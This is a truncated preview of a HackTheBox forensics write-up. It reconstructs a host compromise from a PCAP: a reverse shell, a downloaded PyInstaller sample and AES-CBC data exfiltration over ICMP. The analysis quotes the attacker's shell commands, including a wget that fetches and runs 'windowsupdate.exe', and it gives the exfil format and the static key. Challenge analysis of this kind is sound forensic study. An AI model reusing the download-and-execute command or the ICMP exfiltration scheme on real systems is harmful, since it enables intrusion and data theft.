$ cat writeup.md…
$ cat writeup.md…
HackTheBox
Task: analyze a PCAP and recovered malware from a host compromise where data is stolen over ICMP. Solution: recover the PyInstaller payload, reverse its AES-CBC exfil format, rebuild chunk order from ICMP id/seq, decrypt the PNG, and read the flag.
$ cat /etc/rate-limit
Rate limit reached (20 reads/hour per IP). Showing preview only — full content returns at the next hour roll-over.
Analyze the provided traffic capture and recovered files to determine what was exfiltrated and recover the flag.
We are given a PCAP, a recovered Windows executable, and the final recovered image. The goal is to understand the compromise chain, reverse the exfiltration method, reconstruct the stolen file, and extract the flag.
The PCAP immediately showed two important phases:
10.2.32.72 to 192.168.127.146172.67.139.222There was also an interactive session on TCP/5349, which turned out to be a reverse shell. Commands visible in that shell included:
whoami hostname systeminfo wget http://10.2.32.72:4953/windowsupdate.exe -outfile windowsupdate.exe dir windowsupdate.exe 1dub.png ./windowsupdate.exe 1dub.png
This gives the whole storyline: the attacker gained a shell, downloaded windowsupdate.exe from an internal HTTP server on port 4953, and executed it against 1dub.png.
Exporting HTTP objects from the request GET /windowsupdate.exe on TCP/4953 recovered the payload exactly.
Basic triage:
file windowsupdate.exe strings -n 6 windowsupdate.exe | rg 'scapy|Crypto|AES|exfil|Bloodharbor'
That quickly suggested a PyInstaller-packed Python sample using:
scapy for raw packet transmissionCrypto.Cipher.AES / PyCryptodome for encryptionexfil-The Bloodharbor!Decompiling the extracted .pyc with uncompyle6 revealed the core logic.
The malware reads the target file, splits it into 256-byte chunks, zero-pads the final chunk, and encrypts each chunk independently with AES-CBC.
The encrypted packet payload format is:
6-byte prefix: exfil- 16-byte IV: random per chunk 256-byte blob: AES-CBC(ciphertext)
So each ICMP echo-request payload is exactly 278 bytes.
The key is static:
The Bloodharbor!
...
$ grep --similar